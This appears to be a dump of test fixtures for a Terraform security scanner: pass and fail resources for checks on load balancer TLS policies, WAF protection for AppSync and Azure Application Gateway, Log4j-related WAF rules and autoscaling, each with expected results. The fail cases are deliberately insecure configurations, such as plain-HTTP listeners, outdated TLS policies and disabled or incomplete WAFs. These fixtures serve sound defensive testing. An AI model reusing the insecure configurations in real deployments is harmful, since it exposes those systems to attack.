\"aws_lb_listener\" \"gateway_listener\" {\n  load_balancer_arn = aws_lb.gateway_lb.id\n}\n\n\n# failure\n\nresource \"aws_lb_listener\" \"http\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTP\"\n  port              = \"80\"\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"https_2016\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTPS\"\n  port              = \"443\"\n  ssl_policy        = \"ELBSecurityPolicy-2016-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_lb_listener\" \"tls_fs_1_1\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TLS\"\n  port              = \"8080\"\n  ssl_policy        = \"ELBSecurityPolicy-FS-1-1-2019-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\nresource \"aws_alb_listener\" \"tls_fs_1_1\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"TLS\"\n  port              = \"8080\"\n  ssl_policy        = \"ELBSecurityPolicy-FS-1-1-2019-08\"\n  certificate_arn   = var.certificate_arn\n\n  default_action {\n    type             = \"forward\"\n    target_group_arn = var.aws_lb_target_group_arn\n  }\n}\n\n# mimicking a Terraform plan output by using an empty block\n\nresource \"aws_lb_listener\" \"cognito\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTP\"\n  port              = \"80\"\n\n  default_action {\n    type = \"authenticate-cognito\"\n\n    redirect {\n    }\n  }\n}\n\nresource \"aws_lb_listener\" \"wrong_redirect\" {\n  load_balancer_arn = var.aws_lb_arn\n  protocol          = \"HTTP\"\n  port              = \"80\"\n\n  default_action {\n    type = \"redirect\"\n\n    redirect {\n      protocol = \"HTTP\"\n    }\n  }\n}\n\n# not gateway LB\nresource \"aws_lb\" \"not_gateway_lb\" {\n  load_balancer_type = \"not gateway\"\n  name               = \"example\"\n}\n\nresource \"aws_lb_listener\" \"not_gateway_listener\" {\n  load_balancer_arn = aws_lb.not_gateway_lb.id\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppSyncProtectedByWAF/expected.yaml",
    "content": "pass:\n  - \"aws_appsync_graphql_api.pass\"\nfail:\n  - \"aws_appsync_graphql_api.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppSyncProtectedByWAF/main.tf",
    "content": "# pass\n\nresource \"aws_appsync_graphql_api\" \"pass\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"pass\" {\n  resource_arn = aws_appsync_graphql_api.pass.arn\n  web_acl_arn  = aws_wafv2_web_acl.example.arn\n}\n\n# fail\n\nresource \"aws_appsync_graphql_api\" \"fail\" {\n  authentication_type = \"API_KEY\"\n  name                = \"example\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ApplicationGatewayEnablesWAF/expected.yaml",
    "content": "pass:\n  - \"azurerm_application_gateway.network_pass_1\"\n  - \"azurerm_application_gateway.network_pass_2\"\nfail:\n  - \"azurerm_application_gateway.network_fail_1\"\n  - \"azurerm_application_gateway.network_fail_2\"\n  - \"azurerm_application_gateway.network_fail_3\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/ApplicationGatewayEnablesWAF/main.tf",
    "content": "resource \"azurerm_application_gateway\" \"network_fail_1\" {\n  name                = \"example-appgateway\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n  }\n}\n\nresource \"azurerm_application_gateway\" \"network_fail_2\" {\n  name                = \"example-appgateway\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  waf_configuration {\n    enabled = false\n  }\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n  }\n}\n\nresource \"azurerm_application_gateway\" \"network_fail_3\" {\n  name                = \"example-appgateway\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  firewall_policy_id = azurerm_web_application_firewall_policy.bade_xample.id \n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n  }\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"bad_example\" {\n  name                = \"example-wafpolicy\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  policy_settings {\n    enabled                     = false\n    mode                        = \"Prevention\"\n    request_body_check          = true\n    file_upload_limit_in_mb     = 100\n    max_request_body_size_in_kb = 128\n  }\n\n  managed_rules {\n    exclusion {\n      match_variable          = \"RequestHeaderNames\"\n      selector                = \"x-company-secret-header\"\n      selector_match_operator = \"Equals\"\n    }\n    exclusion {\n      match_variable          = \"RequestCookieNames\"\n      selector                = \"too-tasty\"\n      selector_match_operator = \"EndsWith\"\n    }\n\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n      rule_group_override {\n        rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n        disabled_rules = [\n          \"920300\",\n          \"920440\"\n        ]\n      }\n    }\n  }\n\n}\n\nresource \"azurerm_application_gateway\" \"network_pass_1\" {\n  name                = \"example-appgateway\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  waf_configuration {\n    enabled = true\n  }\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n  }\n}\n\nresource \"azurerm_application_gateway\" \"network_pass_2\" {\n  name                = \"example-appgateway\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  firewall_policy_id = azurerm_web_application_firewall_policy.example.id \n\n  sku {\n    name     = \"Standard_Small\"\n    tier     = \"Standard\"\n    capacity = 2\n  }\n\n  gateway_ip_configuration {\n    name      = \"my-gateway-ip-configuration\"\n    subnet_id = azurerm_subnet.frontend.id\n  }\n\n  frontend_port {\n    name = local.frontend_port_name\n    port = 80\n  }\n\n  frontend_ip_configuration {\n    name                 = local.frontend_ip_configuration_name\n    public_ip_address_id = azurerm_public_ip.example.id\n  }\n\n  backend_address_pool {\n    name = local.backend_address_pool_name\n  }\n\n  backend_http_settings {\n    name                  = local.http_setting_name\n    cookie_based_affinity = \"Disabled\"\n    path                  = \"/path1/\"\n    port                  = 80\n    protocol              = \"Http\"\n    request_timeout       = 60\n  }\n\n  http_listener {\n    name                           = local.listener_name\n    frontend_ip_configuration_name = local.frontend_ip_configuration_name\n    frontend_port_name             = local.frontend_port_name\n    protocol                       = \"Http\"\n  }\n\n  request_routing_rule {\n    name                       = local.request_routing_rule_name\n    rule_type                  = \"Basic\"\n    http_listener_name         = local.listener_name\n    backend_address_pool_name  = local.backend_address_pool_name\n    backend_http_settings_name = local.http_setting_name\n  }\n}\n\nresource \"azurerm_web_application_firewall_policy\" \"example\" {\n  name                = \"example-wafpolicy\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  custom_rules {\n    name      = \"Rule1\"\n    priority  = 1\n    rule_type = \"MatchRule\"\n\n    match_conditions {\n      match_variables {\n        variable_name = \"RemoteAddr\"\n      }\n\n      operator           = \"IPMatch\"\n      negation_condition = false\n      match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n    }\n\n    action = \"Block\"\n  }\n\n  custom_rules {\n    name      = \"Rule2\"\n    priority  = 2\n    rule_type = \"MatchRule\"\n\n    match_conditions {\n      match_variables {\n        variable_name = \"RemoteAddr\"\n      }\n\n      operator           = \"IPMatch\"\n      negation_condition = false\n      match_values       = [\"192.168.1.0/24\"]\n    }\n\n    match_conditions {\n      match_variables {\n        variable_name = \"RequestHeaders\"\n        selector      = \"UserAgent\"\n      }\n\n      operator           = \"Contains\"\n      negation_condition = false\n      match_values       = [\"Windows\"]\n    }\n\n    action = \"Block\"\n  }\n\n  policy_settings {\n    enabled                     = true\n    mode                        = \"Prevention\"\n    request_body_check          = true\n    file_upload_limit_in_mb     = 100\n    max_request_body_size_in_kb = 128\n  }\n\n  managed_rules {\n    exclusion {\n      match_variable          = \"RequestHeaderNames\"\n      selector                = \"x-company-secret-header\"\n      selector_match_operator = \"Equals\"\n    }\n    exclusion {\n      match_variable          = \"RequestCookieNames\"\n      selector                = \"too-tasty\"\n      selector_match_operator = \"EndsWith\"\n    }\n\n    managed_rule_set {\n      type    = \"OWASP\"\n      version = \"3.1\"\n      rule_group_override {\n        rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n        disabled_rules = [\n          \"920300\",\n          \"920440\"\n        ]\n      }\n    }\n  }\n\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppsyncWebACLConfiguredWIthLog4jVulnerability/expected.yaml",
    "content": "pass:\n  - \"aws_appsync_graphql_api.example_pass\"\n  - \"aws_appsync_graphql_api.pass_not_connected\"\nfail:\n  - \"aws_appsync_graphql_api.example_fail\"\n  - \"aws_appsync_graphql_api.example_fail2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AppsyncWebACLConfiguredWIthLog4jVulnerability/main.tf",
    "content": "# config from cloud.resource where api.name = 'aws-appsync-graphql-api' AND json.rule = wafWebAclArn is not empty as X; config from cloud.resource where api.name = 'aws-waf-v2-web-acl-resource' AND json.rule = (webACL.postProcessFirewallManagerRuleGroups.firewallManagerStatement.name does not contain AWSManagedRulesAnonymousIpList or webACL.postProcessFirewallManagerRuleGroups.firewallManagerStatement.name does not contain AWSManagedRulesKnownBadInputsRuleSet) and NOT ( webACL.rules[*].statement.managedRuleGroupStatement.name contains AWSManagedRulesAnonymousIpList and webACL.rules[*].statement.managedRuleGroupStatement.name contains AWSManagedRulesKnownBadInputsRuleSet ) as Y; filter '$.Y.webACL.arn equals $.X.wafWebAclArn'; show X;\n\n# Fail\nresource \"aws_wafv2_web_acl\" \"example_fail\" {\n  name        = \"appsync-waf-fail\"\n  description = \"WAF\"\n  scope       = \"REGIONAL\" # AppSync WAFs are REGIONAL\n\n  default_action {\n    allow {}\n  }\n\n  # Missing AWSManagedRulesKnownBadInputsRuleSet\n  rule {\n    name     = \"AWSManagedRulesAnonymousIpListRule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"AnonymousIpList\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"appsync-waf-fail\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_appsync_graphql_api\" \"example_fail\" {\n  authentication_type = \"API_KEY\"\n  name                = \"appsync-api-fail\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"example_fail\" {\n  resource_arn = aws_appsync_graphql_api.example_fail.arn\n  web_acl_arn  = aws_wafv2_web_acl.example_fail.arn\n}\n\n# Fail2\nresource \"aws_wafv2_web_acl\" \"example_fail2\" {\n  name        = \"appsync-waf-fail2\"\n  description = \"WAF\"\n  scope       = \"REGIONAL\" # AppSync WAFs are REGIONAL\n\n  default_action {\n    allow {}\n  }\n\n  # Includes BOTH required managed rule groups\n  rule {\n    name     = \"AWSManagedRulesAnonymousIpListRule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"AnonymousIpList\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  rule {\n    name     = \"AWSManagedRulesKnownBadInputsRuleSetRule\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"foo\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"KnownBadInputs\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"appsync-waf-pass\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_appsync_graphql_api\" \"example_fail2\" {\n  authentication_type = \"API_KEY\"\n  name                = \"appsync-api-fail2\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"example_fail2\" {\n  resource_arn = aws_appsync_graphql_api.example_fail2.arn\n  web_acl_arn  = aws_wafv2_web_acl.example_fail2.arn\n}\n\n# ==================================\n# Pass\nresource \"aws_wafv2_web_acl\" \"example_pass\" {\n  name        = \"appsync-waf-pass\"\n  description = \"WAF\"\n  scope       = \"REGIONAL\" # AppSync WAFs are REGIONAL\n\n  default_action {\n    allow {}\n  }\n\n  # Includes BOTH required managed rule groups\n  rule {\n    name     = \"AWSManagedRulesAnonymousIpListRule\"\n    priority = 1\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"AnonymousIpList\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  rule {\n    name     = \"AWSManagedRulesKnownBadInputsRuleSetRule\"\n    priority = 2\n\n    override_action {\n      none {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"KnownBadInputs\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"appsync-waf-pass\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_appsync_graphql_api\" \"example_pass\" {\n  authentication_type = \"API_KEY\"\n  name                = \"appsync-api-pass\"\n}\n\nresource \"aws_wafv2_web_acl_association\" \"example_pass\" {\n  resource_arn = aws_appsync_graphql_api.example_pass.arn\n  web_acl_arn  = aws_wafv2_web_acl.example_pass.arn\n}\n\n\n# Pass - not connected\nresource \"aws_appsync_graphql_api\" \"pass_not_connected\" {\n  authentication_type = \"API_KEY\"\n  name                = \"not-connected\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScalingEnableOnDynamoDBTables/expected.yaml",
    "content": "pass:\n  - \"aws_dynamodb_table.pass\"\n  - \"aws_dynamodb_table.pass_on_demand\"\n  - \"aws_dynamodb_table.pass_unset\"\nfail:\n  - \"aws_dynamodb_table.fail\"\n  - \"aws_dynamodb_table.fail_no_policy\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScalingEnableOnDynamoDBTables/main.tf",
    "content": "# pass\n\nresource \"aws_dynamodb_table\" \"pass\" {\n  name           = \"user\"\n  hash_key       = \"user-id\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 10\n  write_capacity = 10\n\n  attribute {\n    name = \"user-id\"\n    type = \"S\"\n  }\n}\n\nresource \"aws_appautoscaling_target\" \"pass\" {\n  resource_id        = \"table/${aws_dynamodb_table.pass.name}\"\n  scalable_dimension = \"dynamodb:table:ReadCapacityUnits\"\n  service_namespace  = \"dynamodb\"\n  min_capacity       = 1\n  max_capacity       = 15\n}\n\nresource \"aws_appautoscaling_policy\" \"pass\" {\n  name               = \"rcu-auto-scaling\"\n  service_namespace  = aws_appautoscaling_target.pass.service_namespace\n  scalable_dimension = aws_appautoscaling_target.pass.scalable_dimension\n  resource_id        = aws_appautoscaling_target.pass.resource_id\n  policy_type        = \"TargetTrackingScaling\"\n\n  target_tracking_scaling_policy_configuration {\n    predefined_metric_specification {\n      predefined_metric_type = \"DynamoDBReadCapacityUtilization\"\n    }\n\n    target_value       = 75\n    scale_in_cooldown  = 300\n    scale_out_cooldown = 300\n  }\n}\n\nresource \"aws_dynamodb_table\" \"pass_unset\" {\n  name           = \"user\"\n  hash_key       = \"user-id\"\n  read_capacity  = 10\n  write_capacity = 10\n\n  attribute {\n    name = \"user-id\"\n    type = \"S\"\n  }\n}\n\nresource \"aws_appautoscaling_target\" \"pass_unset\" {\n  resource_id        = \"table/${aws_dynamodb_table.pass_unset.name}\"\n  scalable_dimension = \"dynamodb:table:ReadCapacityUnits\"\n  service_namespace  = \"dynamodb\"\n  min_capacity       = 1\n  max_capacity       = 15\n}\n\nresource \"aws_appautoscaling_policy\" \"pass_unset\" {\n  name               = \"rcu-auto-scaling\"\n  service_namespace  = aws_appautoscaling_target.pass_unset.service_namespace\n  scalable_dimension = aws_appautoscaling_target.pass_unset.scalable_dimension\n  resource_id        = aws_appautoscaling_target.pass_unset.resource_id\n  policy_type        = \"TargetTrackingScaling\"\n\n  target_tracking_scaling_policy_configuration {\n    predefined_metric_specification {\n      predefined_metric_type = \"DynamoDBReadCapacityUtilization\"\n    }\n\n    target_value       = 75\n    scale_in_cooldown  = 300\n    scale_out_cooldown = 300\n  }\n}\n\nresource \"aws_dynamodb_table\" \"pass_on_demand\" {\n  name           = \"user\"\n  hash_key       = \"user-id\"\n  billing_mode   = \"PAY_PER_REQUEST\"\n\n  attribute {\n    name = \"user-id\"\n    type = \"S\"\n  }\n}\n\n\n# fail\n\nresource \"aws_dynamodb_table\" \"fail\" {\n  name           = \"user\"\n  hash_key       = \"user-id\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 10\n  write_capacity = 10\n\n  attribute {\n    name = \"user-id\"\n    type = \"S\"\n  }\n}\n\nresource \"aws_dynamodb_table\" \"fail_no_policy\" {\n  name           = \"user\"\n  hash_key       = \"user-id\"\n  billing_mode   = \"PROVISIONED\"\n  read_capacity  = 10\n  write_capacity = 10\n\n  attribute {\n    name = \"user-id\"\n    type = \"S\"\n  }\n}\n\nresource \"aws_appautoscaling_target\" \"fail_no_policy\" {\n  resource_id        = \"table/${aws_dynamodb_table.fail_no_policy.name}\"\n  scalable_dimension = \"dynamodb:table:ReadCapacityUnits\"\n  service_namespace  = \"dynamodb\"\n  min_capacity       = 1\n  max_capacity       = 15\n}\n\n# unknown\n\nresource \"aws_appautoscaling_target\" \"ecs\" {\n  max_capacity       = 4\n  min_capacity       = 1\n  resource_id        = \"service/clusterName/serviceName\"\n  scalable_dimension = \"ecs:service:DesiredCount\"\n  service_namespace  = \"ecs\"\n}\n\nresource \"aws_appautoscaling_policy\" \"ecs\" {\n  name               = \"scale-down\"\n  policy_type        = \"StepScaling\"\n  resource_id        = aws_appautoscaling_target.ecs.resource_id\n  scalable_dimension = aws_appautoscaling_target.ecs.scalable_dimension\n  service_namespace  = aws_appautoscaling_target.ecs.service_namespace\n\n  step_scaling_policy_configuration {\n    adjustment_type         = \"ChangeInCapacity\"\n    cooldown                = 60\n    metric_aggregation_type = \"Maximum\"\n\n    step_adjustment {\n      metric_interval_upper_bound = 0\n      scaling_adjustment          = -1\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScalingEnabledLB/expected.yaml",
    "content": "pass:\n  - \"ncloud_auto_scaling_group.pass\"\nfail:\n  - \"ncloud_auto_scaling_group.fail\"\n  - \"ncloud_auto_scaling_group.fail2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScalingEnabledLB/main.tf",
    "content": "resource \"ncloud_launch_configuration\" \"lc\" {\n  name = \"my-lc\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n}\n\nresource \"ncloud_vpc\" \"example\" {\n  ipv4_cidr_block    = \"10.0.0.0/16\"\n}\n\nresource \"ncloud_subnet\" \"example\" {\n  vpc_no             = ncloud_vpc.example.vpc_no\n  subnet             = \"10.0.0.0/24\"\n  zone               = \"KR-2\"\n  network_acl_no     = ncloud_vpc.example.default_network_acl_no\n  subnet_type        = \"PUBLIC\"\n  usage_type         = \"GEN\"\n}\n\nresource \"ncloud_lb_target_group\" \"test\" {\n  vpc_no   = ncloud_vpc.test.vpc_no\n  protocol = \"HTTP\"\n  target_type = \"VSVR\"\n  port        = 8080\n  description = \"for test\"\n  health_check {\n    protocol = \"HTTP\"\n    http_method = \"GET\"\n    port           = 8080\n    url_path       = \"/monitor/l7check\"\n    cycle          = 30\n    up_threshold   = 2\n    down_threshold = 2\n  }\n  algorithm_type = \"RR\"\n}\nresource \"ncloud_lb_target_group\" \"test2\" {\n  vpc_no   = ncloud_vpc.test.vpc_no\n  protocol = \"HTTP\"\n  target_type = \"VSVR\"\n  port        = 8080\n  description = \"for test\"\n  algorithm_type = \"RR\"\n}\nresource \"ncloud_auto_scaling_group\" \"pass\" {\n  access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no]\n  subnet_no = ncloud_subnet.example.subnet_no\n  launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no\n  min_size = 1\n  max_size = 1\n  health_check_type_code = \"LOADB\"\n  health_check_grace_period = 300\n  target_group_list = [ncloud_lb_target_group.test.target_group_no]\n}\n\nresource \"ncloud_auto_scaling_group\" \"fail\" {\n  access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no]\n  subnet_no = ncloud_subnet.example.subnet_no\n  launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no\n  min_size = 1\n  max_size = 1\n  health_check_type_code = \"LOADB\"\n  health_check_grace_period = 300\n}\n\nresource \"ncloud_auto_scaling_group\" \"fail2\" {\n  access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no]\n  subnet_no = ncloud_subnet.example.subnet_no\n  launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no\n  min_size = 1\n  max_size = 1\n  health_check_type_code = \"LOADB\"\n  health_check_grace_period = 300\n  target_group_list = [ncloud_lb_target_group.test2.target_group_no]\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScallingEnabledELB/expected.yaml",
    "content": "pass:\n  - \"aws_autoscaling_attachment.test_ok_attachment\"\n  - \"aws_autoscaling_attachment.alb_pass\"\nfail:\n  - \"aws_autoscaling_attachment.test_bad_attachment\"\n  - \"aws_autoscaling_attachment.alb_fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/AutoScallingEnabledELB/main.tf",
    "content": "resource \"aws_autoscaling_group\" \"autoscalling_ok\" {\n  max_size                  = 5\n  min_size                  = 2\n  health_check_grace_period = 300\n  health_check_type         = \"ELB\"\n  desired_capacity          = 4\n  force_delete              = true\n\n  lifecycle {\n    ignore_changes = [load_balancers, target_group_arns]\n  }\n}\n\nresource \"aws_autoscaling_attachment\" \"test_ok_attachment\" {\n  autoscaling_group_name = aws_autoscaling_group.autoscalling_ok.id\n  elb                    = aws_elb.test_ok.id\n}\n\nresource \"aws_elb\" \"test_ok\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  access_logs {\n    bucket        = \"foo\"\n    bucket_prefix = \"bar\"\n    interval      = 60\n  }\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"http\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n  }\n\n  health_check {\n    healthy_threshold   = 2\n    unhealthy_threshold = 2\n    timeout             = 3\n    target              = \"HTTP:8000/\"\n    interval            = 30\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n\n  tags = {\n    Name = \"foobar-terraform-elb\"\n  }\n}\n\nresource \"aws_autoscaling_group\" \"autoscalling_bad\" {\n  max_size                  = 5\n  min_size                  = 2\n  health_check_grace_period = 300\n  health_check_type         = \"ELB\"\n  desired_capacity          = 4\n  force_delete              = true\n\n  lifecycle {\n    ignore_changes = [load_balancers, target_group_arns]\n  }\n}\n\nresource \"aws_autoscaling_attachment\" \"test_bad_attachment\" {\n  autoscaling_group_name = aws_autoscaling_group.autoscalling_bad.id\n  elb                    = aws_elb.test_bad.id\n}\n\nresource \"aws_elb\" \"test_bad\" {\n  name               = \"foobar-terraform-elb\"\n  availability_zones = [\"us-west-2a\", \"us-west-2b\", \"us-west-2c\"]\n\n  access_logs {\n    bucket        = \"foo\"\n    bucket_prefix = \"bar\"\n    interval      = 60\n  }\n\n  listener {\n    instance_port     = 8000\n    instance_protocol = \"http\"\n    lb_port           = 80\n    lb_protocol       = \"http\"\n  }\n\n  listener {\n    instance_port      = 8000\n    instance_protocol  = \"http\"\n    lb_port            = 443\n    lb_protocol        = \"https\"\n    ssl_certificate_id = \"arn:aws:iam::123456789012:server-certificate/certName\"\n  }\n\n  instances                   = [aws_instance.foo.id]\n  cross_zone_load_balancing   = true\n  idle_timeout                = 400\n  connection_draining         = true\n  connection_draining_timeout = 400\n\n  tags = {\n    Name = \"foobar-terraform-elb\"\n  }\n}\n\n# LB\nresource \"aws_autoscaling_group\" \"alb_pass\" {\n  max_size                  = 5\n  min_size                  = 2\n  health_check_grace_period = 300\n  health_check_type         